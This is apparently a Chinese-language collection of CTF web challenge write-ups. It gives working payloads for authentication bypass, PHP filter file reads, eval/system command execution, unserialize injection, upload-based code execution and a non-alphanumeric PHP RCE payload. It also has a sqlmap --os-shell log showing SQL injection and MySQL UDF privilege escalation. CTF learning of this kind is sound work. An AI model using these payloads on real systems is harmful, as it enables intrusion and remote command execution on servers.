攻防世界 php2

image-20251220165209425

页面提示,你能完成身份验证吗?感觉一般与密码有关系,但是浏览器页面看不出什么东西,抓包也没有异常;

这里的重点就是要访问index.phps可以得到php源码,因为.phps就是php的源代码文件,用户无法直接通过浏览器查看源码内容,所以需要.phps文件代替。

image-20260111195108376

image-20251220165527763

这里就有了源码了;

这里的限制条件就是不允许传的直接就是admin,但是由于后面判断是admin两次判断之间出现了一次URL解码,所以我们这里传入的admin,应该经过了编码操作的admin;

我们这里需要编两次码,如果只编一次码,在php里面就给你解码成admin了。

image-20251220170309056

NSSCTF [SWPUCTF 2021 新生赛]jicao

查看源码:

image-20251220173155268

这里主要就是出现了json_decode(),后面要用到json[‘x’]也就是关联数组,我们如果要经过json_decode过后是一个关联数组,那我们就得在json顶层为{}而非[],那么json的传参就解决了:

?json={“x”:”wllm”}

[ACTF2020 新生赛]Include

进入题目:

image-20251220223705808有一个tips,我们点进去:

image-20251220223721856

URL的地方自己就变成了flag.php;

这里传参应该与flag.php有关,但是页面并没有回显,结合这是一道文件包含的题目,应该可以用到伪协议;

payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php;

[SWPUCTF 2021 新生赛]easyrce

image-20251220233340996

很简单的一道题,直接system(“ls /“)去找根目录下有什么,然后cat /flllllllaaaag

就可以了,需要注意的是我们这里直接cat flag不行,因为这代表我们直接本层目录cat flag这个文件,但是flag这个文件在根目录下,所以我们需要加上一个/

[SWPUCTF 2021 新生赛]caidao

其实和上一道题一模一样,只是post方法而已

image-20251220234114591

[第五空间 2021]WebFTP

进入页面发现是一个登陆的页面,看见登陆页面先想到sql注入了,但是试了下没什么用,然后尝试了抓包发现也没什么异常;

然后用dirsearch扫了一下这个网站,发现有phpinfo.php这个目录,然后访问一下,使用command+f打开搜索框,然后搜索flag,得到flag

image-20260111200133354

[SWPUCTF 2021 新生赛]ez_unserialize Zue3r

直接进入题目没有任何提示,先看了下源码,好像没发现什么异常,然后又抓包,也没发现什么;

后面想到了用dirsearch扫一下:

image-20260112165031347

直接去访问了一下flag.php发现页面没有反应,再换着访问了一下robots.txt,提示了一个/cl45s.php,访问它

进入题目界面:

image-20260112165238927

这里要让admin和passwd的值分别等于对应的值,使用get方法传参;

直接构造payload:

?p=O:4:”wllm”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:3:”ctf”;}

ctfshow-RCE-eval执行

进入题目,发现这里cmd的值会直接被eval函数执行,所以直接传入想要执行的命令即可

img

$_REQUEST是内置的变量,包含了get方法,post方法,还有cookie的值,这里直接用get方法传参;

直接传入?cmd=system(“ls /“)直接看根目录:

有带有flag的目录,cat一下得到flag:

http://challenge-5d450e2221573c9c.sandbox.ctfhub.com:10800/?cmd=system(“cat /flag_21619”);

image-20260112171305546

[NISACTF 2022]easyssrf

image-20260112205651393

一开始没啥头绪,想了下用file;

image-20260112205830095

发现不行;在这里卡住了有点

看见网上说用本地试试:

image-20260112205955906

然后就ls到根目录;

提示ha1x1ux1u.php,访问;

Image Upload Service

<div class="upload-box">
    <form action="" method="POST" enctype="multipart/form-data">
        <label for="image" style="display: block; margin-bottom: 10px; font-weight: bold;">Select your image</label>
        <input type="file" name="image" id="image" accept=".jpg" required>
        <input class="btn" type="submit" value="Upload Image">
    </form>
</div>

<?php if ($message): ?>
    <p class="<?php echo (strpos($message, 'successfully') !== false) ? 'success-msg' : 'error-msg'; ?>">
        <?php echo htmlspecialchars($message); ?>
    </p>
<?php endif; ?>

<?php if ($uploaded_path): ?>
    <p class="success-msg" style="color: #333;">
        <?php echo $uploaded_path; ?>
    </p>
<?php endif; ?>

也就是说这里要检查你的content-type以及你的拓展名,然后继续随便传一个正常的试试呢,发现在首页访问我们传入的路径之后会有php报错

也就是说这里可能是直接把我们的传入的文件当做php文件直接执行,那我们就直接在图片里面写入命令

image-20260317212555006

image-20260317211406947

image-20260317212646089

当然这里应该是根目录下ls,这个是后面复现的时候做的,不要在意这些细节,然后重复上面的步骤命令执行就可以了

[SWPUCTF 2025 秋季新生赛]php命令执行

image-20260318154525325

当然这里直接这么传为编码的数据是不行的,因为我们的加号如果不编码,那么在这里就会被当做空格,所以我们必须把前面构造自增的部分编码了,否则payload不会生效

这里还对payload长度进行了限制,之间拿脚本跑的那个有点长了,干脆直接手搓了:

1
rce=$_=[]._;$_=$_[_];$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__=$_;$___=$__++;$_++;$_++;$_++;$_++;$____=$_;$_____=++$_;$_=_.$__.$___.$____.$_____;$$_[_]($$_[__]);&_=system&__=nl /f*

下面来分析一下:

1
2
3
4
5
6
7
8
9
10
11
rce=$_=[]._;  #第一步,将$_赋值成一个Array_
$_=$_[_]; # 第二步,将$_这个数组的_元素赋值给$_,而这里的索引并非数字,那这里自动就是0,也就是数组的第一个元素A
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; # 疯狂自增,加到O,则此时$_=O
$__=$_; 赋值,$__=O
$___=$__++; 在$__=O的基础上,后置自增,也就是先赋值再自增,那这里$___=O之后,$__再自己偷偷自增拿到P
$_++;$_++;$_++;$_++;原本$_自增到o了,这里又自增一下得到s
$____=$_; 赋值给$___=S
$_____=++$_; 前置,先自增再赋值 $____=T
$_=_.$__.$___.$____.$_____; 最后进行拼接 $_=_POST
$$_[_]($$_[__]); $$_[_]($$_[__]);=$_POST[_]($_POST[__]);
&_=system&__=nl /f*

[SWPUCTF 2025 秋季新生赛]SIGN IN!

按着题目要求来就是了,但是要注意第二关改Cookie的时候要把本来的值个带上,不然要一直回到第一关,也就是在原本cookie的基础上加上个;再按题目要求来

[SWPUCTF 2025 秋季新生赛]sql仅仅只是sql吗?

这道题一开始在题目简介那里提示要用sqlmap,之前倒是还没用过这个工具,这道题就是依靠这个工具来做的

进入题目之后是一个查询页面:

简单查询之后发现这里是数字型,也就不存在什么包裹

image-20260318195047629

然后自己就一直在尝试注入,但是按着正常流程来拿不到正确的flag,而题目提示我们这里不只是SQL注入,然后我就卡着了

看了下wp,这里和UDF提权有关,再借助sqlmap一起实现命令执行

先了解一下什么事UDF提权:

UDF 的全称是 User Defined Function(用户自定义函数)。

MySQL 作为一个数据库,本身自带了很多功能函数,比如 md5()、concat()、version()。但是,总有些开发者觉得不够用,于是 MySQL 的设计者就留了一个“后门”: 允许开发者用 C 语言或者 C++ 自己写一段代码,编译成动态链接库(Windows 下是 .dll,Linux 下是 .so),然后加载进 MySQL 里,当成 MySQL 自带的内置函数来用。

这个机制的本意是为了方便扩展功能,比如有人想在数据库里直接做一个超复杂的财务计算,就可以写个 UDF。

就比如我们想要执行ls等操作,如果我们可以利用UDF去写入,那么我们就可以实现执行ls等命令

也就是说我们是利用这个机制把我们的东西塞到mysql数据库里面,而这个机制只有例如root身份等才可以使用,其他细致的原理这里就不赘述了

那么什么是udf提权呢?

如果 MySQL 服务在启动时,是以系统的最高权限(root 账户)运行的,那么你通过 UDF 执行的任何系统命令,也全部是 root 权限!

你原本只是一个利用网页漏洞(比如你刚才做的那个 ?id=1)进来的卑微 Web 用户(通常是 www-data),现在却利用 MySQL 的 UDF 功能,瞬间摇身一变成为了操作系统的“神”。这就叫提权(Privilege Escalation)。

能够执行提权的前置条件非常苛刻

  1. 当前用户已经拿到 MySQL 的权限(通常是 root)
  2. MySQL 进程运行权限较高(如 root)
  3. 有 文件写入权限(plugin_dir 目录)
  4. 可以使用 CREATE FUNCTION 创建函数(有 CREATE 权限)
  5. secure_file_priv是空

这道题我们先通过命令来查看我们登录mysql时是否是root用户:

  • sqlmap -u “http://node1.anna.nssctf.cn:28725/?id=1“ –random-agent –is-dba

  • --is-dba (核心目的:查户口)

    • 作用:DBA 是 Database Administrator(数据库管理员)的缩写。这个参数会让 sqlmap 在确认存在注入后,立刻去查一下当前连接数据库的账号是不是最高权限(比如 MySQL 里的 root)。
  • 当然这里前面还有个–random-agent,这个命令就是为了防止有些mysql库看见你是sqlmap来的直接给你ban了,所以加一个这个之后sqlmap会伪装成正常的浏览来的

这个命令如果返回了true,那么就说明我们这里是root用户

image-20260318201142466

那这里就可以执行了

在这里要熟悉sqlmap的操作:

image-20260318195532748

当然这里要用的命令上图是没有的

我们得知了我们是root之后,那我们句执行udf操作,如果手动操作就太复杂了,这里还是借用了sqlmap

sqlmap -u “http://node1.anna.nssctf.cn:28725/?id=1“ –random-agent –os-shell

--os-shell (终极杀招:获取系统命令行)

  • 作用:尝试在目标数据库所在的服务器上,弹出一个交互式的操作系统命令行(Shell)。
  • 底层逻辑(呼应我们刚刚讲过的知识): 当 sqlmap 发现存在注入漏洞时,它会立刻尝试两条路线来拿权限:
    1. 写木马路线:如果它能猜到网站的绝对路径(比如 /var/www/html/),并且数据库有写文件权限,它会用 SQL 语句写一个 PHP 一句话木马进去,然后通过这个木马帮你执行系统命令。
    2. UDF 提权路线:就像我们刚才聊的,如果写木马行不通,它就会尝试往 MySQL 的插件目录里塞一个 .so 动态链接库,创建一个自定义函数,利用数据库的底层机制直接执行系统命令

然后我们就可以实现随便的命令执行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
┌──(kali㉿kali)-[/usr/share/sqlmap]
└─$ sqlmap -u "http://node1.anna.nssctf.cn:20775/?id=1" --random-agent --os-shell
___
__H__
___ ___[)]_____ ___ ___ {1.9.8#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:23:15 /2026-03-18/

[18:23:15] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060117 Firefox/1.6a1' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[18:23:15] [INFO] resuming back-end DBMS 'mysql'
[18:23:15] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:
---

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 6632=6632

Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1;SELECT SLEEP(5)#

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3083 FROM (SELECT(SLEEP(5)))pFEn)

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT CONCAT(0x71786b7071,0x71636a646f46666f557479456e56594862524f4642597061786b6b54686471496b4a6a4c4d704a62,0x71786b7a71),NULL,NULL-- -

---

[18:23:15] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.20.2, PHP 7.3.33
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:23:15] [INFO] fingerprinting the back-end DBMS operating system
[18:23:15] [INFO] the back-end DBMS operating system is Linux
[18:23:15] [INFO] testing if current user is DBA
[18:23:15] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
2
[18:25:50] [INFO] checking if UDF 'sys_exec' already exist
[18:25:50] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[18:25:50] [INFO] checking if UDF 'sys_eval' already exist
[18:25:50] [INFO] detecting back-end DBMS version from its banner
[18:25:50] [INFO] retrieving MySQL plugin directory absolute path
[18:25:57] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)
[18:26:00] [INFO] the local file '/tmp/sqlmap1rgwz_dt3173002/lib_mysqludf_sysh20mswnh.so' and the remote file '/usr/lib/mariadb/plugin/libswtxq.so' have the same size (8040 B)
[18:26:00] [INFO] creating UDF 'sys_exec' from the binary UDF file
[18:26:01] [INFO] creating UDF 'sys_eval' from the binary UDF file
[18:26:01] [INFO] going to use injected user-defined functions 'sys_eval' and 'sys_exec' for operating system command execution
[18:26:01] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] y

command standard output:
---

09fdbc429d20.err
09fdbc429d20.pid
438f7373d0d4.err
438f7373d0d4.pid
anna5b55cd980a_sservice.err
anna5b55cd980a_sservice.pid
aria_log.00000001
aria_log_control
ctf
ddl_recovery-backup.log
ddl_recovery.log
ib_buffer_pool
ib_logfile0
ibdata1
ibtmp1
multi-master.info
mysql
mysql_upgrade_info
performance_schema
sys

test
---

os-shell> ls /
do you want to retrieve the command standard output? [Y/n/a] y

command standard output:
---

bin
dev
etc
fffffllllllaaaaagggg
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr

var
---

os-shell> cat /fffffllllllaaaaagggg
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'NSSCTF{928b0e77-a3d8-4c27-9ece-e60d22f1379c}'